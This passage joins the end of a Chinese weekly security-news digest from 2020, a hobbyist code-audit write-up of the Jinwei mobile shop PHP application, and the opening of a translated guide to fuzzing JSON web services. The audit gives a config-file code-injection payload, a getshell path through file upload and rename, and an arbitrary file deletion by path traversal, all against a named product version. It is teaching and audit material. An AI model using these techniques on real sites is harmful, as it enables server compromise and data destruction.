`COVID-19` 疫苗。然而，勒索软件的攻击并没有破坏任何临床试验，而是干扰和减缓了一些试验。
**详情**
[Ransomware attack on health tech firm disrupted COVID-19 medical
trials](https://www.hackread.com/ransomware-attack-health-tech-firm-disrupted-covid-19-trials/)
### 新的HEH僵尸网络可能会擦除磁盘
日期: 2020年10月07日
等级: 中
来源: SECURITYAFFAIRS
标签: Netlab, HEH, Botnet, Wipes Devices
来自中国科技巨头奇虎360网络安全部门 `Netlab`
的研究人员发现了一个新的僵尸网络，被追踪为HEH，其中包含清除被感染系统（如路由器、物联网设备和服务器）的所有数据的代码。它是用Go开源编程语言编写的，以SSH端口（23和2323）为目标，通过发起暴力攻击，将SSH端口（23和2323）暴露在网络上
**详情**
[New HEH botnet wipes devices potentially bricking
them](https://securityaffairs.co/wordpress/109186/hacking/heh-botnet.html)
### Software AG受勒索软件的攻击：攻击者泄露了工作人员的护照
日期: 2020年10月09日
等级: 中
作者: Gareth Corfield
标签: Software AG, German, Ransomware, Passports, Leaked
德国软件公司( `SoftwareAG`
)似乎受到了勒索软件的攻击，这家德国IT巨头称该国股市受到了恶意软件攻击的影响。恶意软件攻击的消息迟迟未能渗透到盎格鲁文化圈( `Anglosphere`
)，尽管德国通讯社新闻专线( `newswire`
)昨日晚间发表了一份简短报告，并在一些不知名的投资网站上转载。该报告还说，SoftwareAG服务器和员工笔记本的数据被下载。 `ElReg`
看到的攻击者勒索网页的屏幕截图显示了员工护照、内部账单以及一个基于windows系统的内部目录。文件夹的名称表明，内容可能涉及在美国和加拿大的SoftwareAG客户。
**详情**
[Software AG hit with ransomware: Crooks leak staffers’ passports, want
millions for stolen
files](https://www.theregister.com/2020/10/09/software_ag_ransomware/)
### 新的MalLocker.B勒索软件能显示赎金笔记
日期: 2020年10月09日
等级: 中
来源: SECURITYAFFAIRS
标签: Microsoft, Android, Home, MalLocker.B, Ransomware
微软发现了一种名为MalLocker.B的Amdroid勒索软件。当用户按下Home键时激活。微软(Microsoft)的研究人员发现，这种新的安卓勒索软件滥用了来电通知和锁定受害者手机屏幕的Home键背后的机制。
AndroidOS的MalLocker.B通过受污染的Android应用程序分发，可在在线论坛和第三方网站上下载。
新的变体还设法规避了许多可用的保护，针对安全解决方案的检测率较低。为了避免感染MalLocker.B和类似的恶意软件，建议用户避免从第三方商店或论坛安装Android应用程序。
**详情**
[New MalLocker.B ransomware displays ransom note in innovative
way](https://securityaffairs.co/wordpress/109263/malware/mallocker-b-android-ransomware.html)
### 嘉年华证实数据泄露是8月勒索软件攻击的结果
日期: 2020年10月10日
等级: 中
来源: SECURITYAFFAIRS
标签: Carnival Corporation, Data Breach, Ransomware, Citrix
全球最大的邮轮运营商嘉年华公司（CarnivalCorporation）证实，8月份勒索软件攻击导致数据泄露。勒索软件运营商在攻击中窃取了客户、员工和船员的个人信息。嘉年华公司是一家英美邮轮运营商，目前是世界上最大的旅游休闲公司，拥有10个邮轮品牌的100多艘船只。
**详情**
[Carnival confirms data breach as a result of the August ransomware
attack](https://securityaffairs.co/wordpress/109308/data-breach/carnival-data-breach.html)
### 泰勒科技公司最终向勒索软件支付了赎金
日期: 2020年10月11日
等级: 中
来源: SECURITYAFFAIRS
标签: Tyler Technologies, Ransom, Decryption Key
泰勒科技公司最终决定支付赎金以获得解密密钥，恢复在最近一次勒索软件攻击中加密的文件。泰勒技术公司是美国公共部门最大的软件供应商。9月底，该公司披露了一起勒索软件攻击事件，其客户报告称在他们的网络上发现了可疑的登录和以前看不到的远程访问工具。勒索软件攻击事件发生在9月23日，威胁者攻破了该公司的网络并部署了该恶意软件。
**详情**
[Tyler Technologies finally paid the ransom to receive the decryption
key](https://securityaffairs.co/wordpress/109334/cyber-crime/tyler-technologies-paid-ransom.html)
### 不要低估FONIX勒索软件服务
日期: 2020年10月11日
等级: 中
来源: SECURITYAFFAIRS
标签: FONIX, Ransomware, RaaS, Windows
FONIX是一个相对较新的勒索软件服务(RaaS)，由Sentinel实验室的研究人员分析，它的运营商以前专门从事二进制密码，封装器的开发。FONIX于2020年7月首次出现在威胁领域，幸运的是，与此威胁相关的感染数量仍然很小。
专家指出，勒索软件的作者不需要支付费用就可以成为该服务的附属公司，运营商只保留其附属网络中任何赎金的一部分。
专家认为，然而，如果安全公司和当局低估了FONIXRaaS，它会很快变得猖獗。
**详情**
[Underestimating the FONIX – Ransomware as a Service could be an
error](https://securityaffairs.co/wordpress/109369/cyber-crime/fonix-raas.html)
### CISA警告美国政府机构遭受Emotet攻击
日期: 2020年10月07日
等级: 低
来源: SECURITYAFFAIRS
标签: CISA, US, Emotet, Phishing
`网络安全与基础设施安全局（CISA）`
发布警报，警告称，自8月以来，针对美国多个州和地方政府的Emotet攻击激增。在此期间，CISA的入侵检测系统已经检测到大约16000个与Emotet活动相关的警报。据专家称，Emotet攻击的目标是美国政府实体。
**详情**
[CISA alert warns of Emotet attacks on US govt
entities](https://securityaffairs.co/wordpress/109166/malware/cisa-alert-emotet.html)
### **相关安全建议**
1. 各主机安装EDR产品，及时检测威胁
2. 及时对系统及各个服务组件进行版本升级和补丁更新
3. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
4. 及时备份数据并确保数据安全
5. 明确每个服务功能的角色访问权限
6. 条件允许的情况下，设置主机访问白名单
7. 网段之间进行隔离，避免造成大规模感染
## 0x03 数据安全
### 澳大利亚社交新闻平台泄露8万条用户记录
日期: 2020年10月05日
等级: 高
来源: SECURITYAFFAIRS
标签: Cybernews, Australian, Snewpit, Bucket, Amazon Web Services
网络新闻调查小组发现了一个暴露的数据 `bucket` ，属于澳大利亚新闻分享平台 `Snewpit` 。这个不安全的 `bucket` 包含近
`80000` 条用户记录，包括用户名、全名、电子邮件地址和个人资料图片。包含这些记录的文件存储在一个可公开访问的
`AmazonWebServices(AWS)` 服务器上，这意味着任何直接访问这些文件的人都可以访问并下载这些未公开的数据。9月24日，
`Snewpitbucket` 中的敏感文件已被公司保护，不再可访问。
**详情**
[Australian social news platform leaks 80,000 user
records](https://securityaffairs.co/wordpress/109108/data-breach/snewpit-leaks-80000-records.html)
### 阿联酋国际航空公司的数据泄露至暗网
日期: 2020年10月08日
等级: 中
来源: SECURITYAFFAIRS
标签: Airlink International UAE, Dark Web, Leaked Data, Kelvinsectteam
网络安全研究人员发现，一名黑客在暗网的两个平台上免费共享 `阿联酋国际航空公司`
的泄露数据。暗网上数据的可用性可能给组织带来严重的风险，攻击者可以利用这些数据进行多次恶意攻击。 `AirlinkInternationalU.A.E.`
是满足任何旅行和物流要求的领先公司。它有200多名员工，收入约2.5亿美元。数据泄漏是由一个错误配置的服务器造成的，该服务器包含60个目录，每个目录大约有5000个文件。
**详情**
[Data from Airlink International UAE leaked on multiple dark web
forums](https://securityaffairs.co/wordpress/109237/data-breach/airlink-international-uae-data-leak.html)
### **相关安全建议**
1. 严格控制数据访问权限
2. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
3. 及时检查并删除外泄敏感数据
4. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
## 0x04 网络攻击
### 美国公司1500万美元网络抢劫案剖析
日期: 2020年10月06日
等级: 高
作者: Ionut Ilascu
标签: US, Email, Fraudsters
经验丰富的网络攻击者通过邮件诈骗从一家美国公司偷走了1500万美元，这起诈骗案件耗时2个月。这名网络罪犯在获取了一笔商业交易的电子邮件对话后，精准地执行了他们的计划。他们在交易中插足，转移了钱，并得以将偷窃行为隐瞒了足够长的时间，从而拿到了钱。尽管研究人员调查了一个受害者的事件，但他们发现的线索表明，建筑、零售、金融和法律行业的数十家企业都在他们的目标名单上。在确定目标后，他们花了大约两周的时间试图访问电子邮件账户。
**详情**
[The anatomy of a $15 million cyber heist on a US
company](https://www.bleepingcomputer.com/news/security/the-anatomy-of-a-15-million-cyber-heist-on-a-us-company/)
### 黑客从瑞士大学窃取了6位数的金额
日期: 2020年10月05日
等级: 高
来源: SECURITYAFFAIRS
标签: Swiss, the University of Basel, Salary, Phishing, Attack
黑客已经窃取了包括巴塞尔大学在内的几家瑞士大学的员工薪水。瑞士大学校长会议秘书长玛蒂娜·维斯解释说，根据可靠信息，瑞士有几所大学受到了影响。黑客对瑞士大学实施鱼叉式网络钓鱼攻击，试图诱骗员工提供他们的访问数据。
据《SonntagsZeitung》报道，巴塞尔检察官办公室证实，黑客侵入了大学的系统，然后威胁者通过更改受益人账户劫持了该员工的工资转账。黑客窃取了6位数的金额，并立即将资金转移到国外。《SonntagsZeitung》还补充说，黑客试图入侵苏黎世大学，但该大学的员工认识到网络钓鱼的企图，将其击退。
**详情**
[Hackers stole a six-figure amount from Swiss
universities](https://securityaffairs.co/wordpress/109100/hacking/swiss-universities-hacked.html)
### 新一波的网络钓鱼电子邮件以选举为诱饵
日期: 2020年10月05日
等级: 高
来源: DATABREACHTODAY
标签: Proofpoint, Phishing, Election, Emotet, Botnet
安全研究人员警告说，新一轮的网络钓鱼电子邮件将产生一批与选举有关的诱饵，这些诱饵旨在让用户点击，从而方便散布 `Emotet`
僵尸网络或获取用户凭证。安全公司 `Proofpoint` 已经发现了数千封恶意邮件，这些邮件旨在传播来自民主党全国委员会的欺骗信息。同时，
`KnowBe4` 还发现了另一个欺骗美国选举援助委员会的网络钓鱼活动，该活动旨在获取凭据。 `Proofpoint` 称，最近的 `Emotet`
活动始于10月1日，这是 `Emotet` 背后的团伙 `TA542` 首次从政治角度进行网络钓鱼。
**详情**
[Fresh Wave of Phishing Emails Use Election as a
Lure](https://www.databreachtoday.com/fresh-wave-phishing-emails-use-election-as-lure-a-15117)
### 国际海事组织（IMO）遭受网络攻击
日期: 2020年10月06日
等级: 高
来源: SECURITYAFFAIRS
标签: The United Nations International Maritime Organization, IMO, Cyber Attack, IT System
联合国国际海事组织（IMO）披露了一次网络攻击。据该机构称，9月30日，第一次网络攻击后，组织的IT系统遭到破坏，海事组织的一些网络服务无法使用。受影响的系统包括：海事组织公共网站和其他基于网络的服务。不过包括电子邮件系统等其他内部和外部协作平台工作正常。网站
[www.imo.org](http://www.imo.org/) 已于10月2日恢复访问。
**详情**
[A sophisticated cyberattack hit the International Maritime Organization
(IMO)](https://securityaffairs.co/wordpress/109154/hacking/international-maritime-organization-imo-cyberattack.html)
### 外卖服务Chowbus遭黑客攻击，超过40万名客户受到影响
日期: 2020年10月08日
等级: 高
来源: SECURITYAFFAIRS
标签: Chowbus, Food Delivery, Stole Data, Database, Cyber Attack
广受欢迎的亚洲外卖平台 `Chowbus`
遭到黑客攻击，黑客声称窃取了公司包含客户数据的整个数据库，攻击者将这些数据导出到一系列Excel（CSV）文件中，并向客户发送了这些档案的链接。暴露的数据包括顾客姓名、电子邮件地址、电话号码、地址（城市、州、邮政编码）、外卖费用和Chowbus合作伙伴餐厅的地址。
**详情**
[Food Delivery Service Chowbus hacked, more than 400K customer
impacted](https://securityaffairs.co/wordpress/109224/data-breach/food-delivery-service-chowbus-hack.html)
### 黑客团伙现利用严重的Windows漏洞进行攻击
日期: 2020年10月09日
等级: 高
作者: Ionut Ilascu
标签: Microsoft, ZeroLogon, MuddyWater, TA505, CVE-2020-1472
微软警告称，网络犯罪分子已经开始在他们的攻击中加入针对 `ZeroLogon` 漏洞的开发代码。该警告是在微软注意到网络间谍组织 `MuddyWater`
(SeedWorm)在9月下半月持续不断的攻击之后发布的。这一次，威胁者是TA505，一个对其攻击的受害者不分皂白的对手，其历史始于2014年发布的Dridex银行木马。多年来，TA505一直在进行攻击，传播各种恶意软件，从后门到勒索软件。最近，这个组织的入侵之后，又部署了Clop勒索软件，比如去年马斯特里赫特大学（MaastrichtUniversity）的袭击，导致支付了30比特币（约22万美元）的赎金。
**详情**
[Ransomware gang now using critical Windows flaw in
attacks](https://www.bleepingcomputer.com/news/security/ransomware-gang-now-using-critical-windows-flaw-in-attacks/)
### 国土安全部：不明黑客袭击了美国人口普查局网络
日期: 2020年10月09日
等级: 高
作者: Sergiu Gatlan
标签: US Census, DHS, Attack
美国国土安全部在2020年10月早些时候发布的第一份国土威胁评估报告中称，2019年美国人口普查网络遭到了不明威胁分子的袭击。
美国人口普查局是美国联邦政府最大的统计机构，负责收集有关美国经济和人口的统计数据。
然后，联邦政府利用这些数据，每年将超过6750亿美元的联邦基金分配给部落、地方和州政府。国土安全部说，针对美国用于支持2020年美国总统大选以及2020年美国人口普查的基础设施，国家和非国家的袭击者都可能试图破坏。
**详情**
[DHS: Unknown hackers targeted the US Census Bureau
network](https://www.bleepingcomputer.com/news/security/dhs-unknown-hackers-targeted-the-us-census-bureau-network/)
### 基于Mirai的IoT木马传播了两个0day漏洞
日期: 2020年10月05日
等级: 中
来源: GBHACKERS
标签: Netlab, Tenda, RAT, Ttint, DDoS
`Netlab` 发现一个新的 `IoT` 僵尸网络，其利用 `Tenda` 路由器的两个0day漏洞，安装远程访问特洛伊木马（ `RAT` ）。被称为
`Ttint` 的僵尸网络自2019年11月以来一直活跃，除了 `DDoS` 功能外，它还包括12个远程访问功能。攻击者利用 `Tenda`
路由器的0day漏洞（CVE-2018-14558&CVE-2020-10987）分发Ttint样本。基于 `Mirai` 代码的 `Tint`
远程访问特洛伊木马，包括10条 `MiraiDDoS` 攻击指令和12条控制指令，如路由器设备的 `Socket5` 代理、篡改路由器 `DNS` 、设置
`iptables` 、执行自定义系统命令。
**详情**
[A New Mirai based IoT RAT Spreading Through 2 0-day
Vulnerabilities](https://gbhackers.com/ttint-iot-botnet/)
### Fullz House入侵Boom!的网站
日期: 2020年10月06日
等级: 中
来源: SECURITYAFFAIRS
标签: Fullz House, Mobile, Boom!, E-skimer
信用卡掠夺组织 `FullzHouse` 破坏了美国移动虚拟网络运营商（MVNO） `Boom!`
的网站。Boom!移动公司为其客户提供后付费和预付费的无线服务计划，使他们能够使用美国最大的蜂窝网络（包括AT＆T，T-Mobile和Verizon）的线路。FullzHouse的黑客在Boom!网站中注入了一个e-skimer，不幸的是，恶意软件尚未被删除。
**详情**
[Fullz House hacked the website of Boom! Mobile provider to steal credit
cards](https://securityaffairs.co/wordpress/109144/malware/boom-mobile-e-skimmer.html)
### Wisepay的“停机”源于食堂支付业务对入侵者攻击的阻止
日期: 2020年10月07日
等级: 中
作者: Gareth Corfield
标签: UK, Wisepay, Cashless Payments, Outage, Pre-emptive
英国无现金校园支付公司Wisepay发现有人恶意欺骗其信用卡支付页面，故将相关网站关闭。这家总部位于汉普郡的公司自称“允许家长和监护人向他们（孩子）的学校或大学进行在线无现金支付”，不久前该公司表示，其网站“已停止维护”。Wisepay发言人解释，“停机”是一个先发制人的举动，目的是阻止身份不明的攻击者继续进行“网址操纵”。
**详情**
[Wisepay ‘outage’ is actually the school meal payments biz trying to stop an
intruder from stealing customer card
details](https://www.theregister.com/2020/10/07/wisepay_outage_was_cyber_attack/)
### Comcast遥控器可被入侵用于监听对话
日期: 2020年10月07日
等级: 中
作者: Ionut Ilascu
标签: Comcast, XR11, Microsoft, Remotes, IOT, WarezThe Remote
安全研究人员分析了 `Comcast`
的XR11Xfinity语音遥控器，发现了一种无需物理访问或用户交互就能将其变成监听设备的方法。与普通的红外线遥控器不同，微软Edge公司的XR11采用了一种新的“网络捕捉”情景，它依靠射频与有线机顶盒进行通信，并配有内置麦克风，可以进行语音命令，在美国各地，有超过1800万个家庭中部署了该设备。
**详情**
[Comcast cable remotes hacked to snoop on
conversations](https://www.bleepingcomputer.com/news/security/comcast-cable-remotes-hacked-to-snoop-on-conversations/)
### WordPress漏洞为Zerologon攻击提供通道
日期: 2020年10月07日
等级: 中
来源: SECURITYAFFAIRS
标签: WordPress, Zerologon, File-Manager Plugin, CVE-2020-25213, CVE-2020-1472
不久前，Zerologon（CVE-2020-1472）成为全球的热门话题，想要利用这个漏洞的前提条件是能够连上目标域控。为了利用这个漏洞，黑客开始将其于wordpress
`File-Manager` 插件中的漏洞–CVE-2020-25213结合使用，该漏洞允许在服务器端执行任意代码（RCE漏洞）。攻击者通过
`CVE-2020-25213` 获得服务器权限之后，将建立代理隧道，并尝试执行Zerologon攻击。
目前 `WordPress` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Using a WordPress flaw to leverage Zerologon vulnerability and attack
companies’ Domain
Controllers](https://securityaffairs.co/wordpress/109175/hacking/zerologon-dc-hack.html)
### 黑客组织出售间谍和虚假新闻服务
日期: 2020年10月08日
等级: 中
来源: DATABREACHTODAY
标签: Bahamut, BlackBerry, Espionage, Fake News Websites, Phishing
安全研究人员称，一个名为 `Bahamut` 的黑客组织将其间谍和辟谣服务出租给出价最高的人，目标是中东和南亚的非营利组织和外交官。研究人员发现了
`Bahamut`
创建的几个假新闻网站，目的是推送造谣内容。他们还发现了一个网络钓鱼设施以及安装在googleplay和苹果应用商店中的恶意应用程序，这些应用程序用于针对特定的受害者和组织，由于该组织的目标不同意，黑客很可能将这项服务卖给出价最高的人。
**详情**
[Hack-For-Hire Group Wages Espionage, Fake News
Campaigns](https://www.databreachtoday.com/hack-for-hire-group-wages-espionage-fake-news-campaigns-a-15139)
### 亚马逊黄金日，网络钓鱼和欺诈攻击激增
日期: 2020年10月08日
等级: 中
来源: THREATPOST
标签: Amazon, Prime Day, Phishing, Malicious Websites
网络犯罪分子正在利用亚马逊针对订阅者的年度折扣购物活动“黄金日”。研究人员警告说，最近欺诈利用亚马逊品牌的网络钓鱼和恶意网站激增。根据一份2020年10月8日发布的报告报道，自8月份以来，每月使用亚马逊品牌创建的钓鱼和欺诈网站数量激增，这是自3月份疫情以来最显著的一次。研究人员分析了数以亿计的网页，以追踪使用亚马逊品牌和标识的新钓鱼和欺诈网站的数量。研究显示，威胁行为者利用亚马逊的特点和消费者行为，试图引诱网上购物者进入欺诈网站，窃取他们的凭证、财务信息和其他敏感数据。
**详情**
[Amazon Prime Day Spurs Spike in Phishing, Fraud
Attacks](https://threatpost.com/amazon-prime-day-spurs-spike-in-phishing-fraud-attacks/159960/)
### Fitbit gallery可用于分发恶意应用程序
日期: 2020年10月09日
等级: 中
作者: Ionut Ilascu
标签: Fitbit Gallery, Malicious Apps, Upload, Fitness
一位安全研究人员发现，针对Fitbit设备的恶意应用程序可以上传到合法的Fitbit域，用户可以通过私有链接安装它们。通过一些社会工程，黑客可以利用这一点，诱骗用户添加应用程序，以获取（从Fitbit设备传感器或手机收集的）丰富的个人信息。Fitbit开发健身活动跟踪可穿戴设备（智能手表、腕带），为用户提供诸如步行或爬台阶数、心率、睡眠质量以及活动历史记录等指标。Fitbit及其开发者社区的各种移动应用程序（健康、游戏、音乐、实用程序）都在Fitbit官方图库中发布。
**详情**
[Fitbit gallery can be used to distribute malicious
apps](https://www.bleepingcomputer.com/news/security/fitbit-gallery-can-be-used-to-distribute-malicious-apps/)
### **相关安全建议**
1. 积极开展外网渗透测试工作，提前发现系统问题
2. 域名解析使用CDN
3. 统一web页面报错信息，避免暴露敏感信息
4. 减少外网资源和不相关的业务，降低被攻击的风险
5. 注重内部员工安全培训
6. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
7. 严格做好http报文过滤
8. 做好产品自动告警措施
9. 若系统设有初始口令，建议使用强口令，并且在登陆后要求修改。
## 0x05 其它事件
### 流行的反病毒软件漏洞让攻击者可以升级特权
日期: 2020年10月06日
等级: 中
来源: GBHACKERS
标签: Windows, Vulnerabilities, Antivirus, DACLs, ProgramData
来自CyberARK的安全研究人员发现了反恶意软件的安全漏洞，该软件允许攻击者升级受感染机器的权限。与其他应用程序相比，反恶意软件的漏洞带来了更高的风险，因为它具有高权限，使得攻击者能够以更高的权限运行恶意软件。根据研究人员的说法，这个
`bug` 的主要原因是 `C:\ProgramData` 目录的默认 `DACLs`
。在应用程序用于存储数据的Windows上。此进程未绑定到特定用户，任何用户都对 `ProgramData` 拥有读或写权限，而不是当前登录用户可以访问的
`%LocalAppData%` 。因此，如果一个非特权进程在 `ProgramData` 中创建了一个以后由特权进程使用的目录，那么可能会遇到安全问题。
**详情**
[Flaws in Popular Antivirus Softwares Let Attackers to Escalate
Privileges](https://gbhackers.com/flaws-in-popular-antivirus-softwares-let-attackers-to-escalate-privileges/)
### Bugcrowd在2020年末选出最值得关注的Bugs
日期: 2020年10月08日
等级: 中
来源: SCMAGAZINE
标签: Bugcrowd, Bugs, OWASP
Bugcrowd在10月7日发布了一篇博客，其中研究人员预测了2020年最后一个季度将会出现的更多的bug。它们从OWASP基金会的前10个列表中的主要bug类别开始，即跨站点脚本、SQL注入、各种身份验证流的不安全实现、敏感数据暴露、窃取敏感令牌的开放重定向以及访问控制问题。
**详情**
[Bugcrowd picks top bugs to watch for in late
2020](https://www.scmagazine.com/home/security-news/bugcrowd-picks-top-bugs-to-watch-for-in-late-2020/)
### 在苹果各种服务中发现55个安全漏洞
日期: 2020年10月09日
等级: 中
来源: WELIVESECURITY
标签: Apple, Vulnerabilities, XSS, RCE, Ethical Hackers
一个由5名白帽黑客组成的团队在苹果的一系列服务中发现了总共55个漏洞，其中近12个漏洞被评为严重漏洞。这些被揭露的安全漏洞是在三个月内被发现并迅速修复的，根据苹果的窃听奖励计划，这些“白帽”黑客总共获得了28.85万美元的奖励。不少于11个漏洞被认为是严重的，29个被认为是高危的，13个被归类为中危，剩下的2个被列为低危。为了评估漏洞的严重性，团队使用了通用漏洞评分系统（CVSS）和他们对这些漏洞将产生多大的业务相关影响的知识。在这些漏洞中，有两个漏洞尤为突出：一个是远程代码执行（RCE）漏洞，它可能会让苹果杰出教育者计划（AppleDistinguishedEducators）程序遭到全面破坏；另一个是一个可让威胁参与者窃取iCloud数据的可修复存储跨站点脚本（XSS）漏洞。
**详情**
[55 security flaws found in various Apple
services](https://www.welivesecurity.com/2020/10/09/55-security-flaws-found-various-apple-services/)
### Facebook首次推出漏洞赏金
日期: 2020年10月09日
等级: 中
来源: THREATPOST
标签: Facebook, Bug Bounty, Hacker Plus
`Facebook`
推出了一项忠诚度计划，旨在进一步激励研究人员发现其平台的漏洞。该忠诚计划称为“HackerPlus”，还提供赏金奖励，让研究人员可以对更多产品和功能进行压力测试，并邀请他们参加Facebook年度活动。Facebook的安全工程经理
`DanGurfinkel` 在2020年10月9日的帖子中说：“HackerPlus旨在帮助参与 `facebook`
的漏洞赏金计划的研究人员建立社区，此外还鼓励质量报告。”
**详情**
[Facebook Debuts Bug Bounty ‘Loyalty
Program’](https://threatpost.com/facebook-bug-bounty-loyalty-program/159993/)
### **相关安全建议**
1. 及时对系统及各个服务组件进行版本升级和补丁更新
2. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360安全大脑的QUAKE资产测绘平台通过资产测绘技术手段，对事件相关组件进行监测，请用户联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 时间线
**2020-10-12** 360CERT发布安全事件周报 | 社区文章 |
# 记一次新手入门级别的代码审计
## 0x00写在前面
下载地址：<http://www.igoldway.com/>
金微手机商城 V0.3.7版本
本人简单看法，先测试，再看代码，主要测试功能点交互点，然后再去代码中寻找漏洞，第一次写审计文章，文笔不好师傅们凑活看。
用到工具：
Phpstudy
Burp
Phpstorm+xdebug
## 0x01小试牛刀
我们先看安装文件
install.php
在这个地方可以看到数组$n[5]没有进行任何过滤我们暂定可能存在SQL注入，在代码中我们可以看到是直接执行SQL语句，这个地方我们先保留备注一下，继续审~
看到这个地方就是完成安装了，我们进行断点，可以配合xdebug+burp的组合来进行调试，在这个版本中，`rename("install.php","install.bak");`这个语句对于install.php文件名字直接改成了bak，在我们调试时候这句直接注释掉方便我们调试
到这里就清晰很多了，看到$n[5]这个地方写的是表名前缀。这个地方也就是存在了SQL注入，后面我们继续审，这个地方后面我们构造payload。
还是这个文件中存在这么一行代码：
file_put_contents('config.php','<?php'.PHP_EOL.'$cfg=\'{"DB":{"host":"'.$n[1].'","user":"'.$n[2].'","pass":"'.$n[3].'","name":"'.$n[4].'","pre":"'.$n[5].'"},"An":"金微手机商城","Aw":"'.str_replace("/","\\/",$n[9]).
$n[5]在前面我们审的时候知道了这个地方没有对于这个变量进行过滤。
我们用burp抓包尝试进行这个$n[5]进行写入config.php文件代码和注入的尝试，
回去继续看上面的代码，我们又有了新的发现，
这个地方用了json_decode函数（贴个学习地址：<https://www.w3cschool.cn/php/php-rxi22oqv.html>）
其实在这里我先进行的是写入config.php，在这个地方可以写一句话可以`phpinfo()`，我在这里构造了一个payload。
单引号闭合前面然后`phpinfo();//`后面直接注释掉了。我们再去访问config文件
成功！
接下来需要绕过前面$m的josn_decode。
payload：\"}} '; phpinfo();//"
这个部分主要就是去看config文件写入了，我们可以执行php语句，之后看他的加密吧（我也不知道算不算加密）之后我们进行写入的绕过。
成功。
之前提到的SQL注入奈何技术有限，构造绕不过去，师傅们可以尝试一下。
## 0x02 由浅入深
这里我们直接重新发包把我们的payload去掉之后就正常安装成功了
之后跳转到admin.php后台登录页面
这个地方提到了Dec函数，在admin.php文件中调用了的只有common.php遂直接去这个文件中查找这个Dec函数
这个和之前说的decode加密，我们看返回的Rpl函数继续跟进
作者写代码不规范，都是自己打回车方便自己查看，这个地方是个防注入过滤，对于危险字符进行了转换。
再回到admin.php中查看代码
这个地方引入了新的变量`$pre`。看到后面的admin，admin应该是个表名，那么这个pre应该就是表前缀
这个地方的cfg，就是之前我们看到的config中的cfg
在这里解读一下代码，其实就是cfg变量通过Dec函数josn_decode解密了一次然后我们在config文件中看到的BD和pre这就连接上了，所以pre这个变量就是表前缀。
继续在这个admin.php登录页面我们断点之后可以看到变量Nm和Np的值是什么，同时这个地方执行了SQL语句，大概我们也可以看出来`Select
ID,Nr From Jms_admin where Nm='admin' And Np='123"`(这个地方的Np进行了一次md5加密)
这个地方尝试注入会被之前提到的编码实体化，其实在这里我们知道SQL语句之后去执行一下尝试看看。
在这里我本来感觉有万能密码可以利用，结果发现并不是那么简单，这个地方还是之前提到的实体化编码，奈何技术太菜没办法绕过。
## 0x03 干就完了！
在后台页面存在上传文件，还是抓包研究
报错了这个地方，我们去看代码找到文件上传部分
通过上传抓包分析之后
很难过，没办法直接绕过上传php去getshell。
不过呢在这里上传上去了之后，存在一个改名字post包可以利用
成功getshell。技术不够，姿势来凑，这篇文章废话挺多的，大部分都是代码讲解，其实感觉更像一篇随笔，师傅们别喷哈。
## 0x04 意外收获
在刚才上图中上传文件中，这个地方有个删除，尝试了一下存在任意文件删除
这个地方删除burp抓包
在根目录下新建一个2.txt；然后修改dir：./穿越回根目录直接可以删除文件
后续查看相关代码分析
这个地方没有任何过滤限制，所以直接可以删除任意文件。
## 0x05 写在最后
其实这个应该有挺多洞的，文件总体来说也不大，我这php也是班门弄斧，边审计边学习，刚好在cnvd看到的，正好来练练手。第一次在先知发表文章，欢迎各位师傅们斧正，共同学习，共同进步！ | 社区文章 |
# 如何Fuzz Json Web Services
|
##### 译文声明
本文是翻译文章，文章来源：secapps.com
原文地址：<https://secapps.com/blog/2018/03/fuzzing-json-web-services>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
对JSON服务进行模糊测试（fuzz）往往是一项卓有成效的工作（尤其是采用动态脚本语言实现的JSON服务，如Python、Ruby以及JavaScript）。然而根据我的观察，在测试过程中，很少有人能完美完成这项工作。在这篇文章中，我想跟大家分享如何完成这一任务的个人心得。本文中我使用的是自己常用的一些工具，如果你有更好的选择，也可以选用自己的工具。现在让我们步入正题。
Json Web Services指的是以JSON文档作为输入的简单web服务。云架构（如AWS、Azure以及Google
Cloud）经常具备这类接口，可以为我们的手机、手表、电视以及冰箱提供服务。现在基本上所有的东西都在使用JSON数据通信，这是因为JSON与其他文档格式（如XML、YAML、INI等）不同，相对比较简单、紧凑并且不大容易出现奇怪的错误。因为JSON的优良属性以及易用性，现在所有的编程语言和环境都原生支持这种格式。
## 二、测试样例
在许多编程语言中（尤其是JavaScript，还包括Ruby以及Python语言），JSON是首选方案。这意味着JSON虽然是外部对象，但处理起来与原生对象无异，因此可以具备与普通对象类似的访问方式。比如，我们来看一下如下请求：
POST /path/to/service HTTP/1.1
Host: service
Content-Length: xxxx
Content-Type: application/json
{
"profile": {
"name": "Bob",
"age": 40
}
}
为了访问“profile”属性中的“name”字段，JavaScript开发者很有可能会采用如下方法：
// this is what you will normally see in ES5
updateProfile(body.profile.name, body.profile.age)
// ...or in modern ES6 may even look like this which looks a bit safer
const { profile={} } = body
const { name, age } = profile
updateProfile(name, age)
需要注意的是，这里的“name”以及“age”字段都从“profile”中直接提取。还需要注意的是，以上代码既没有验证这两个字段的类型，也没有对其进行规范化处理。虽说这个例子的确比较简单，但其实大多数公开代码中都存在这种现象。
对这类的代码的利用方法很大程度上取决于具体服务以及“updateProfile”函数的真正处理过程，因此我们无法遵循非常标准的利用步骤。我们不能罗列已有的错误字符，希望能够快速得到结果。相反的是，我们需要分析应用程序的行为，推测可能出现的情况，看看是否存在漏洞利用的机会。这也就是为何我们需要撸起袖子加油fuzz的原因所在。那么问题来了，我们要fuzz什么？怎么fuzz？
显然，我们需要为name以及age字段尝试不同的值。此外，我们还需要尝试其他一些意外的输入，比如数组或者对象。举个例子，`updateProfile`函数可能想处理一个对象（如`{first,
